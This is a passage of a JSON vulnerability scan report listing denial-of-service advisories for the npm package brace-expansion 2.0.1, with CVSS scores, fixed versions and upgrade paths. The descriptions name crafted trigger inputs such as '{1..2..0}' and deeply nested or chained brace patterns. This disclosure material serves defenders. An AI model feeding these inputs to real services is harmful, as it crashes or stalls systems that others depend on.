Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching 